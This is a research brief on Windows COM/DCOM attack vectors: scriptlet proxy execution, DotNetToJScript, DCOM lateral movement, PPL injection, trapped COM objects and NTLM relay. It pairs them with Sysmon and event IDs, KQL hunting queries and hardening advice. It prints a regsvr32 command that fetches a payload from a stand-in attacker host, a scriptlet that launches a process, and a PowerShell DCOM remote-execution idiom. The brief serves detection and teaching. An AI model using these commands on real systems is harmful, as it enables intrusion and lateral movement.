27 KiB
RESEARCH BRIEF: Remaining COM Attack Vectors — Execution/Defense-Evasion, PPL Injection, Relay Chains & Detection Engineering
1. COM Scriptlets & Squiblydoo (T1218.010)
- Origin: Casey Smith (@subTee), April 2016 —
regsvr32.exe /i:passes a string toDllInstall; signed scrobj.dll fetches/parses a COM scriptlet (.sct) from a URL. PoC gistBackdoor.sct(gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302). - Canonical:
regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll—/u+/i:form needs no registry writes and no admin. - Scriptlet skeleton:
<?XML version="1.0"?>
<scriptlet>
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
<script language="JScript"><![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]></script>
</registration>
</scriptlet>
- Why AWL bypass: every binary (regsvr32 → scrobj.dll → jscript/vbscript.dll) is Microsoft-signed; regsvr32 is proxy-aware (WinHTTP). MITRE T1218.010.
- ITW: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit web_delivery.
/i:also accepts local paths/UNC; .sct = Windows Script Component format shared with .wsc and thescript:moniker (TypeLib hijack).
1.2 DotNetToJScript (Forshaw, 2017)
- Builds bound delegate
Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[])). - Wraps in COM-invocable
HeaderHandlerdelegate (contra-variance abuse) →DynamicInvoke. - BinaryFormatter-serializes delegate graph → Base64 into JScript/VBScript/HTA template with
entry_class(default TestClass). - Runtime: script instantiates COM-visible mscorlib classes via ActiveXObject ProgIDs (
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter,System.Collections.ArrayList,System.Text.ASCIIEncoding,System.Security.Cryptography.FromBase64Transform):
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
var d = fmt.Deserialize_2(stm);
var o = d.DynamicInvoke(al.ToArray()) // -> Assembly.Load(byte[])
.CreateInstance(entry_class); // constructor runs
- No managed assembly on disk — engine of SharpShooter, CACTUSTORCH, GreatSCT, SuperSharpShooter, Outlook-CreateObject DCOM delivery (enigma0x3 Nov 2017).
1.3 AMSI changes
- AMSI integrated into JScript/VBScript engines, WSH, PowerShell, VBA (2018), WMI, .NET 4.8+ (scans
Assembly.Load(byte[]), Apr 2019), UAC (Microsoft-Antimalware-UacScanETW 1201). scrobj.dll hosts WSH engines → scriptlet content scanned. - Jun 2018: AMSI signatures for default DotNetToJScript/SharpShooter output. Forshaw counter: "Disabling AMSI in JScript with One Simple Trick" — copy wscript.exe as amsi.dll;
LoadLibraryEx("amsi.dll")returns loaded EXE image, AmsiInitialize fails, WSH runs unscanned. - DotNetToJScript defaults to CLR v2 (no AMSI); v4 scanned. Residual: ETW Microsoft-Windows-DotNETRuntime
{e13c0d23-ccbc-4e12-931b-d9cc2eee27e4}assembly-load/JIT in wscript/dllhost.
2. COM for Local Code Execution (LOLBIN-style)
No "LOLCOM" project exists. Canon: enigma0x3 2017, bohops 2018, Tsukerman/Cybereason 2018-19, rvrsh3ll Invoke-DCOM.ps1, FireEye "Hunting COM Objects" (Jun 2019, 2 parts), Axel Boesenach hackdefense enumeration paper, rasta-mouse CsDCOM/CheeseDCOM.
| Object | CLSID/ProgID | Method | Host | Notes |
|---|---|---|---|---|
| MMC20.Application | {49B2791A-B1AE-4C90-9B8E-E860BA07F889} |
Document.ActiveView.ExecuteShellCommand(cmd,dir,params,"7") |
mmc.exe -Embedding | local+remote; admin required (AppID launch perms) |
| ShellWindows | {9BA05972-F6A8-11CF-A442-00A0C90A8F39} |
Document.Application.ShellExecute(...); Navigate/Navigate2 |
existing explorer.exe window (medium IL) | usable from medium IL locally — code runs inside explorer.exe |
| ShellBrowserWindow | {C08AFD90-F2A1-11D1-8455-00A0C91F3880} |
same | new explorer.exe if no window | local medium-IL exec; remote needs admin |
| ExcelDDE | ProgID Excel.Application ({00024500-0000-0000-C000-000000000046}) |
DDEInitiate("cmd","/c ...") |
EXCEL.EXE | no malicious doc needed; needs Office |
| Excel variants | same | RegisterXLL, ExecuteExcel4Macro (XLM) |
EXCEL.EXE | enigma0x3 Sep 2017 |
| InternetExplorer.Application | {0002DF01-0000-0000-C000-000000000046} |
Navigate2 to UNC/local exe | iexplore.exe | IE prompts limit reliability |
| htafile (LethalHTA) | ProgID htafile | remote instantiation → mshta fetches .hta | mshta.exe | codewhitesec Jul 2018 |
| Outlook.Application | ProgID | CreateObject("Wscript.Shell") + DotNetToJScript |
OUTLOOK.EXE | enigma0x3 Nov 2017 |
| Utility objects | ProgIDs | WScript.Shell.Run, Shell.Application.ShellExecute, Schedule.Service, WbemScripting.SWbemLocator |
various | standard local exec primitives |
| Visio.Application | ProgID | macro-less exec paths | VISIO.EXE | Tsukerman/CheeseDCOM lists |
PowerShell idiom (detect this):
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","target")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc","c:\windows\system32",$null,0)
# MMC20: $obj.Document.ActiveView.ExecuteShellCommand($cmd,$null,$null,"7")
# ExcelDDE: $obj.DDEInitiate("cmd","/c calc")
Tooling: Invoke-DCOM.ps1 (rvrsh3ll), impacket dcomexec.py (-object MMC20|ShellWindows|ShellBrowserWindow, semi-interactive, output via temp file over ADMIN$), CrackMapExec dcom, CsDCOM/CheeseDCOM. MITRE T1559.001 (local) + T1021.003 (remote).
3. PPL Injection via COM (Forshaw, P0 Oct/Nov 2018)
First public no-admin userland code exec inside PPL up to PPL-WindowsTCB and full PP-WindowsTCB. Established type-library-substitution → type-confusion primitive later used by PPLdump/PPLmedic (itm4n) and IRundown::DoCallback (MDSec 2022).
Part 1 — PPL via COM type confusion + KnownDlls
- Target:
.NET Runtime Optimization Service(mscorsvw.exe, NGEN) — runs PPL-CodeGen (cached signing levels for UMCI). - COM exposure:
ngen install x.dll→ mscorsvw marshals private .NET-implemented class factory (CorSvcBindToWorkerClassFactory) over named pipe via CoMarshalInterface — COM server inside PPL. - Bug class: COM proxies/stubs generated at runtime from a Type Library; typelib registration in HKLM but
HKCU\Software\Classes\TypeLibshadows it. Modified typelib changes signature ([out] long*→[in] longonICorSvcPooledWorker::CanReuseProcess) → server stub unmarshals attacker integer as pointer → type confusion → controlled write of 0 to arbitrary address. - Data-only weaponization: target loader global
LdrpKnownDllDirectoryHandle; pre-fill child PPL handle table with inheritable handles to fake KnownDlls object directory; 32-bit write zeroes top 16 bits of real handle → aliases to fake → induced DLL load maps unsigned code into PPL, DllMain runs. No thread injection, no ROP, no CFG bypass. - To PPL-WinTcb: CiSetFileCache cached-signing backdoor → cache-sign arbitrary DLL as Microsoft/WinTcb.
Part 2 — full PP-WindowsTCB via IRundown::DoCallback
- COM hijack CLSID
{07FC2B94-5285-417E-8AC3-C2CE5240B0FA}with ThreadingModel="Free" (HKCU) inside PP target; inherit fake KnownDlls handles. - Start WerFaultSecure.exe at PP-WindowsTCB dumping an AppContainer process; use vulnerable Win8.1 WerFaultSecure (unencrypted dumps).
- Parse dump for per-process COM security secret, context pointer, IPID of undocumented
IRundown(present in every COM-remoting process). IRundown::DoCallback(fn, param)executes arbitrary function with one pointer arg inside PP: overwriteLdrpKnownDllDirectoryHandle, thenLoadLibraryfake KnownDll. Works Win10 through 1809. Corollary: arbitrary memory read in COM-remoting process → arbitrary execute (no thread creation, no allocation APIs).
Microsoft response
- PPL is not a security boundary per MS servicing criteria → no CVEs/bounties for PPL-only.
- Fixed anyway: JScript/scriptlet PPL injection (P0 Issue 1336) fixed Win10 1803 — CI.DLL (
CipMitigatePPLBypassThroughInterpreters) blocksscrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, vbscript.dllin protected processes. CVE-2017-11830 — CiSetFileCache TOCTOU SFB (P0 Issue 1332). - July 2022: Microsoft stopped initializing
\KnownDllsin PPL (killed PPLdump variant) — but signature-not-verified-on-section-map remains; PPLmedic (2023) re-proved. - Follow-ons: itm4n PPLdump/PPLmedic/PPLKiller; gabriellandau PPLFault; MDSec IRundown::DoCallback injection (Apr 2022); ANGRYORCHARD.
4. Trapped COM Objects (Forshaw, Jan 2025) — defense-evasion angle
Source: "Windows Bug Class: Accessing Trapped COM Objects with IDispatch" (googleprojectzero.blogspot.com/2025/01/..., commonly reported Feb 2025).
- Client activates OOP COM server → marshal-by-reference object trapped server-side; calls execute server-side.
- Via
IDispatch::GetTypeInfo→ITypeLib, enumerate server-referenced typelibs — incl. stdole ({00020430-0000-0000-C000-000000000046}, stdole2.tlb). Request newStdFont({0BE35203-8F91-11CE-9DE3-00AA004BB851}) — resolved in server process context: another trapped object. - Redirect StdFont to .NET: hijack StdFont COM registration (HKCU locally; remote registry remotely) → activation yields
.NET System.ObjectCCW. SetAllowDCOMReflection=1+OnlyUseLatestCLR=1underSoftware\Microsoft\.NETFramework→ .NET reflection usable over DCOM. - Reflection chain:
GetType()→Assembly→Assembly.Load(byte[])→ arbitrary managed code inside server-side DCOM process — fileless; mscoree/clr/clrjit are Microsoft-signed → PPL image-signature compatible. - Demo target:
WaaSRemediationAgentCOM class hosted by WaaSMedicSvc (Windows Update Medic Service) — PPL (PsProtectedSignerWindows-Light) svchost as SYSTEM → code exec inside PPL/SYSTEM. - Microsoft: not a security-boundary violation (admin→PPL not defended) → detection problem, no CVE (as of writing). IBM X-Force (Tran & Bayne, Mar 2025) "Fileless lateral movement with trapped COM objects" + PoC ForsHops (github.com/xforcered/ForsHops): 1) remote-set AllowDCOMReflection/OnlyUseLatestCLR 2) remote hijack StdFont → System.Object 3) create WaaSRemediationAgent over DCOM 4) resolve trapped StdFont→System.Object in remote WaaSMedicSvc PPL 5) Assembly.Load → SYSTEM inside protected signed process, zero files. Only disk artifacts: registry values. Outflank (Kyle Avery, Jul 2025): WaaSMedicSvc/PPL approach fails on updated Win11 (CLR can't load into that PPL) — target-specific, not class-specific; LLM-assisted registry enumeration found alternative trapped-COM classes. T3nb3w ComDotNetExploit = local PPL-injection PoC variant.
5. DCOM + NTLM Relay
5.1 COM as coercion trigger
- Forshaw local NTLM reflection (P0 Apr 2015, fixed): marshaled OBJREF_STANDARD with attacker-chosen RPC binding strings → DCOM client binds to fake OXID resolver, performs NTLM auth → reflected to local DCOM activation → SYSTEM token. Birthed potato family (T1134.001).
- RemotePotato0 (Cocomazzi & Pierini, 2021, github.com/antonioCoco/RemotePotato0): marshal IStorage (
CoGetInstanceFromIStorage), hand OBJREF to remote DCOM activator for CLSID running as Interactive User (default PoC{5167B42F-C111-47A1-ACC4-8EABE61B0B54}; BrowserBroker{0002DF02-0000-0000-C000-000000000046}) → victim resolves OXID against attacker resolver (135 redirect) → authenticated ResolveOxid2/IRemUnknown2 calls to attacker → relay RPC/TCP → HTTP wrapper → ntlmrelayx → LDAP/AD CS (ESC8)/SMB → DA. Requires interactively logged-on privileged user. - RemoteMonologue (IBM X-Force, Andrew Oliveau, Apr 2025, github.com/3lp4tr0n/RemoteMonologue): with local admin, SeTakeOwnershipPrivilege on
HKCR\AppID\{AppID}→ setRunAs = "Interactive User"→ remotely instantiate → invoke method/property dereferencing attacker UNC → logged-on user's NTLM (or machine$) coerced. Objects: ServerDataCollectorSet{03837546-098B-11D8-9414-505054503030}(DataManager.Extract UNC param), FileSystemImage{2C941FC5-975B-59BE-A960-9A2A262853A5}(WorkingDirectory property), UpdateSession{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}(AddScanPackageService), MSTSWebProxy. Extras: NetNTLMv1 downgrade (LmCompatibilityLevel ≤ 2), WebClient abuse (\\host@80\file).
5.2 OXID resolver abuse
IOXIDResolver/IObjectExporter (UUID {99FCFEC4-5260-101B-BBCB-00AA0021347A}, port 135/epmap): unauthenticated ServerAlive2 leaks network interfaces (impacket oxidresolver); OXID resolution is what every potato/coercion abuses.
5.3 PetitPotam/PrinterBug → DCOM?
PetitPotam (MS-EFSR, CVE-2021-36942) and PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)) coerce machine-account auth over SMB/named-pipe RPC — NOT DCOM. Coerced auth relays to LDAP(S)/AD CS, not DCOM activation, because DCOM as relay target closed: CVE-2021-26414 "DCOM Hardening" (KB5004442) requires RPC_C_AUTHN_LEVEL_PKT_INTEGRITY+ for activation (opt-in Jun 2021 → default Jun 2022 → mandatory Mar 2023; HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel). New DistributedCOM events: 10036 (server-side refusal below PKT_INTEGRITY, logs user/SID/client IP), 10037/10038 (client-side too-low auth level). "You relay FROM DCOM, not TO DCOM."
5.4 CVE-2017-0100
MS17-012 (Mar 2017) "Windows HelpPane EoP": DCOM object in Helppane.exe configured RunAs=Interactive User failed to validate clients → LPE (CVSS 7.8, Win7-10/2008R2-2016). RunAs=Interactive User DCOM objects = decade-long bug class; RemoteMonologue is the 2025 remote re-weaponization.
5.5 PtH with DCOM: YES
dcomexec.py -hashes LMHASH:NTHASH user@target (MMC20/ShellWindows/ShellBrowserWindow); CrackMapExec -dcom. Needs NTLM allowed, remote Launch/Activation rights (default Administrators), LocalAccountTokenFilterPolicy=1 for local non-RID500 accounts; KB5004442 compatible (impacket speaks PKT_INTEGRITY). Maps T1550.002 + T1021.003.
6. AMSI/ETW and COM
- Scriptlet content: YES (AmsiScanBuffer in jscript/vbscript; second scan per CreateObject'd block). Network fetch not scanned; executed script is.
- .NET payload: conditional (CLR 4.8+ scans in-memory Assembly.Load; CLR 2.0 no hook). PowerShell DCOM one-liners fully scanned (4104).
- Type-confusion/trapped-COM native stages: NO direct AMSI — registry+RPC+reflection; use ETW/registry/network.
- Threat-Intelligence ETW
{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}(PPL-required consumers) sees injection-style memory behavior.
ETW providers (verified GUIDs):
| Provider | GUID | Use |
|---|---|---|
| Microsoft-Windows-RPC | {6AD52B32-D609-4BE9-AE07-CE8DAE937E39} (Debug) |
EID 5/6 RPC client/server call start: InterfaceUuid, OpNum, Protocol, Endpoint (SpecterOps "Utilizing RPC Telemetry") |
| Microsoft-Windows-RPC-Events | {F4AED7C7-A898-4627-B053-44A7CAA12FCD} |
RPC operational |
| Microsoft-Windows-RPCSS | {D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C} |
RPCSS/DcomLaunch host |
| Microsoft-Windows-COMRuntime | {BF406804-6AFA-46E7-8A48-6C357E1D6D61} |
COM activation/runtime (verbose) |
| Microsoft-Windows-COM-Perf | {B8D6861B-D20F-4EEC-BBAE-87E0DD80602B} |
perf |
| Microsoft-Windows-COM-RundownInstrumentation | {2957313D-FCAA-5D4A-2F69-32CE5F0AC44E} |
rundown |
| Microsoft-Windows-DotNETRuntime | {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} |
assembly loads/JIT in COM hosts |
| Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} |
injection behaviors |
DCOM interface UUIDs to key on: IRemoteSCMActivator {4D9F4AB8-7D1C-11CF-861E-0020AF6E7C57}; ISystemActivator {000001A0-0000-0000-C000-000000000046}; IObjectExporter/IOXIDResolver {99FCFEC4-5260-101B-BBCB-00AA0021347A}; IRemUnknown {00000131-0000-0000-C000-000000000046}; IRemUnknown2 {00000143-0000-0000-C000-000000000046}; IUnknown {00000000-0000-0000-C000-000000000046}. Chain context: MS-EFSR {C681D488-D850-11D0-8C52-00C04FD90F7E}, MS-RPRN {AE33069B-A2A8-46EE-A235-DDFD339BE281}/{12345678-1234-ABCD-EF00-0123456789AB}.
EDR view of DCOM activation: 1) inbound 135 → epmap → dynamic port; RemoteCreateInstance inside svchost -k DcomLaunch (raw RPC ETW lacks remote IP — Zero Networks gap) 2) Security 4624 Type 3 NTLM logon; 4672 if privileged 3) DcomLaunch spawns server: mmc.exe -Embedding, explorer.exe, dllhost.exe /Processid:{CLSID}, EXCEL.EXE /automation -Embedding — lineage anchor 4) AppID/CLSID registry reads 5) outbound callbacks. RPC Firewall (Zero Networks) closes gap: per-call UUID/opnum/src-IP/principal in RPCFW log EID 3; Sigma "Remote DCOM/WMI Lateral Movement" (68050b10-e477-4377-a99b-3721b422d6ef). Native RPC filter event 5712 unreliable.
7. Detection master list
Sysmon:
- EID 1: regsvr32
/i:+ URL + scrobj.dll;mmc.exe -Embeddingchild of svchost (Sigma f1f3bf22-deb2-418d-8cce-e1a45e46a5bd); anomalousdllhost.exe /Processid:; explorer/EXCEL spawning cmd/powershell; wscript/cscript/mshta with .sct; PowerShell with GetTypeFromCLSID/GetTypeFromProgID/Activator]::CreateInstance/ExecuteShellCommand/ShellExecute/DDEInitiate. - EID 3: regsvr32 outbound HTTP/S (near-zero FP); workstation→workstation TCP/135 + dynamic ports; mmc/excel/dllhost unexpected outbound.
- EID 7: scrobj.dll in regsvr32; jscript/vbscript/scrrun in unusual hosts; clr.dll/clrjit.dll/mscoree.dll in dllhost/svchost/mmc/explorer (DotNetToJScript & trapped COM).
- EID 8: COM injection mostly does NOT trip CreateRemoteThread — teach as evasion gap.
- EID 11: .sct drops.
- EID 12/13/14: writes under
HKCU\Software\Classes\CLSID\{...}\(InprocServer32|LocalServer32|TreatAs|ProgID)and...\TypeLib\{...};HKLM\SOFTWARE\Classes\AppID\{...}\RunAs(RemoteMonologue);HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*(hardening tamper);(HKLM|HKCU)\SOFTWARE\Microsoft\.NETFramework\values AllowDCOMReflection, OnlyUseLatestCLR (trapped COM — high fidelity);HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LmCompatibilityLevel(NTLMv1 downgrade). - EID 17/18: named pipes (mscorsvw marshaling).
- EID 22: regsvr32 DNS for scriptlet hosts. Windows events: 4688 (mirror Sysmon 1); 4624 Type 3; 4625; 4648; 4672; 4657/4663 with SACLs on Classes\AppID\CLSID; 5156/5158 WFP (noisy); 5712 unreliable; DistributedCOM 10016 (permission denied — probing), 10036/10037/10038 (KB5004442 refusals), 10006/10009/10028; PowerShell 4104 (ExecuteShellCommand/GetTypeFromCLSID — Splunk "Remote Process Instantiation via DCOM and PowerShell Script Block"); AppLocker 8004. Named content: Sigma proc_creation_win_mmc_mmc20_lateral_movement.yml; proc_creation_win_regsvr32_squiblydoo.yml; rpc_firewall_remote_dcom_or_wmi.yml; registry_set_persistence_com_hijacking_builtin.yml; CAR-2019-04-003 (Squiblydoo). Splunk: "Remote Process Instantiation via DCOM and PowerShell" (d4f42098-4680-11ec-ad07-3e22fbd008af), "...Script Block" (fa1c3040-4680-11ec-a618-3e22fbd008af), "Mmc LOLBAS Execution Process Spawn" (f6601940-4c74-11ec-b9b7-3e22fbd008af), "Possible Lateral Movement PowerShell Spawn" (22282a2d-dc19-4b88-ac61-6c86ff92904f). Elastic: prebuilt "Incoming DCOM Lateral Movement with MMC"; blog "How to hunt: Detecting persistence and evasion with COM". Atomic T1021.003 tests.
KQL hunting queries:
// DCOM lateral movement
DeviceProcessEvents
| where InitiatingProcessFileName =~ "svchost.exe"
| where InitiatingProcessCommandLine has "DcomLaunch"
| where FileName in~ ("mmc.exe","explorer.exe","dllhost.exe","excel.exe","mshta.exe")
// Squiblydoo
DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")
// COM hijack registry
DeviceRegistryEvents
| where RegistryKey has @"Software\Classes\CLSID\"
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
| where ActionType has "SetValue" or ActionType has "Create"
// Trapped COM artifacts
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Microsoft\.NETFramework"
| where RegistryValueName in~ ("AllowDCOMReflection","OnlyUseLatestCLR") and RegistryValueData == 1
// CLR in COM hosts
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName in~ ("dllhost.exe","svchost.exe","mmc.exe","explorer.exe","wscript.exe","cscript.exe")
// RunAs tampering (RemoteMonologue)
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
UAC elevated-COM hunting: medium-IL parent → high-IL child without consent.exe; auto-elevated hosts (fodhelper, computerdefaults, sdclt, eventvwr, slui) with unusual children; writes to HKCU\Software\Classes\ms-settings\Shell\Open\command, mscfile\shell\open\command; CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7} instantiation; "Elevation:Administrator!new:" strings.
Baseline/hardening: inventory legit DCOM (SCCM, backup, OPC, AV mgmt) → deny rest via dcomcnfg AppID Launch ACLs (MMC20 + Office CLSIDs first); segment 135+dynamic to mgmt hosts, block workstation↔workstation 135; enforce KB5004442 (=1; alert on =0), LDAP signing+channel binding, SMB signing, AD CS EPA; AppLocker/WDAC block scrobj.dll script execution, disable WebClient, Office ASR; NTLMv1 off (LmCompatibilityLevel=5); LSA Protection; RPC Firewall on servers/DCs; collect RPC ETW 5/6 on critical hosts; sysmon-modular + SwiftOnSecurity configs.
8. MITRE mapping (verified)
| ID | Name | COM content |
|---|---|---|
| T1559.001 | IPC: COM and DCOM | local execution objects, scriptlets, DotNetToJScript, trapped COM |
| T1021.003 | Remote Services: DCOM | MMC20/ShellWindows/ShellBrowserWindow/ExcelDDE remoting, dcomexec, ForsHops, RemoteMonologue |
| T1546.015 | Event Triggered Execution: COM Hijacking | CLSID/InprocServer32/LocalServer32/TreatAs; TypeLib + script: moniker variant (explicit in ATT&CK) |
| T1548.002 | Abuse Elevation Control: Bypass UAC | elevated/auto-elevated COM (CMSTPLUA, elevation moniker) |
| T1218.010 | System Binary Proxy Execution: Regsvr32 | Squiblydoo |
| T1055 | Process Injection | PPL injection, IRundown::DoCallback, trapped-COM in-PPL |
| T1620 | Reflective Code Loading | Assembly.Load(byte[]) via COM |
| T1112 | Modify Registry | CLSID/TypeLib/AppID/RunAs/.NETFramework writes |
| T1550.002 | Pass the Hash | dcomexec -hashes |
| T1134.001 | Token Impersonation/Theft | potato lineage |
| T1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | relay chains with DCOM trigger |
| T1003.001 | LSASS Memory | PPL bypass end-goal |
| T1059.005/.007 | VB/JavaScript | scriptlet bodies |
| T1027 | Obfuscation | Base64 .NET blobs |
| T1047 | WMI | WMI runs over DCOM (SWbemLocator) |
| T1068 | Exploitation for Privilege Escalation | CVE-2017-0100, PPL chain components |
Diagrams to draw
- Squiblydoo+DotNetToJScript chain with AMSI scan points and "all signed / no registry / no file" annotations.
- Type-confusion PPL injection: HKCU typelib shadow → mscorsvw PPL stub integer-as-pointer → LdrpKnownDllDirectoryHandle alias → unsigned DLL in PPL; escalation box CiSetFileCache → WinTcb; Part 2 IRundown::DoCallback; fixes timeline (1803 CI blocklist, CVE-2017-11830, Jul 2022 KnownDlls removal, "PPL ≠ boundary").
- NTLM relay chain with COM as trigger (IStorage OBJREF → OXID → auth → RPC→HTTP → ntlmrelayx → LDAP/ADCS/SMB); annotate KB5004442 + events 10036-38.
- Trapped COM chain local + IBM remote variant.
- Detection data-source map with blind spots (no remote IP in raw RPC ETW; no CreateRemoteThread; CLR-v2 AMSI gap).
REFERENCES (title — URL)
Primary: subt0x11.blogspot.com/2016/04/bypass-application-whitelisting-script.html (+ gist 24c7d8e1ff0f5602092f58cbb3f7d302) · github.com/tyranid/DotNetToJScript · tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html · mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/ · googleprojectzero.blogspot.com/2018/10/injecting-code-into-windows-protected.html · googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html · bugs.chromium.org/p/project-zero/issues/detail?id=1332 · itm4n.github.io/bypassing-ppl-in-userland-again/ · github.com/itm4n/PPLmedic · mdsec.co.uk/2022/04/process-injection-via-component-object-model-com-irundowndocallback/ · googleprojectzero.blogspot.com/2025/01/windows-bug-class-accessing-trapped-com.html · ibm.com/think/news/fileless-lateral-movement-trapped-com-objects · github.com/xforcered/ForsHops · outflank.nl/blog/2025/07/29/accelerating-offensive-research-with-llm/ · ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions · github.com/3lp4tr0n/RemoteMonologue · github.com/antonioCoco/RemotePotato0 · nvd.nist.gov/vuln/detail/CVE-2017-0100 · support.microsoft.com KB5004442 (CVE-2021-26414) · github.com/fortra/impacket LOLCOM corpus: enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · cybereason.com/blog/dcom-lateral-movement-techniques · cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · github.com/rvrsh3ll/Misc-Powershell-Scripts (Invoke-DCOM.ps1) · codewhitesec.blogspot.com/2018/07/lethalhta.html · fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html (+part-two) · hackdefense.com Axel Boesenach DCOM enumeration paper · oddvar.moe AppLocker case study AMSI/ETW/RPC: redcanary.com/blog/amsi/ · posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5 · zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall · github.com/zeronetworks/rpcfirewall · ftrsec.github.io/Blog/rpc-detection/ · ETW GUID gist guitarrapc/35a94b908bad677a7310 Detection: detection.fyi (MMC20, RPC firewall rules) · github.com/SigmaHQ/sigma registry_set_persistence_com_hijacking_builtin.yml · intezer.com Squiblydoo blog · car.mitre.org/analytics/CAR-2019-04-003/ · research.splunk.com (DCOM analytics) · elastic.co/blog/how-hunt-detecting-persistence-evasion-com · blog.gdatasoftware.com/2014/10/23941 · Atomic T1021.003 · SwiftOnSecurity/sysmon-config · olafhartong/sysmon-modular · detect.fyi/how-to-detect-dcom-lateral-movement MITRE: T1559.001, T1021.003, T1546.015, T1548.002, T1218.010, T1055, T1620, T1550.002, T1134.001, T1557.001 (attack.mitre.org/techniques/...) Caveats: no LOLCOM project; trapped-COM blog is Jan 2025 by URL ("early 2025" in deck); no CVE for trapped-COM or 2018 PPL type-confusion (PPL not a boundary — inference); WaaSRemediationAgent CLSID not public — refer by class name; raw RPC ETW lacks remote IP (use RPC Firewall).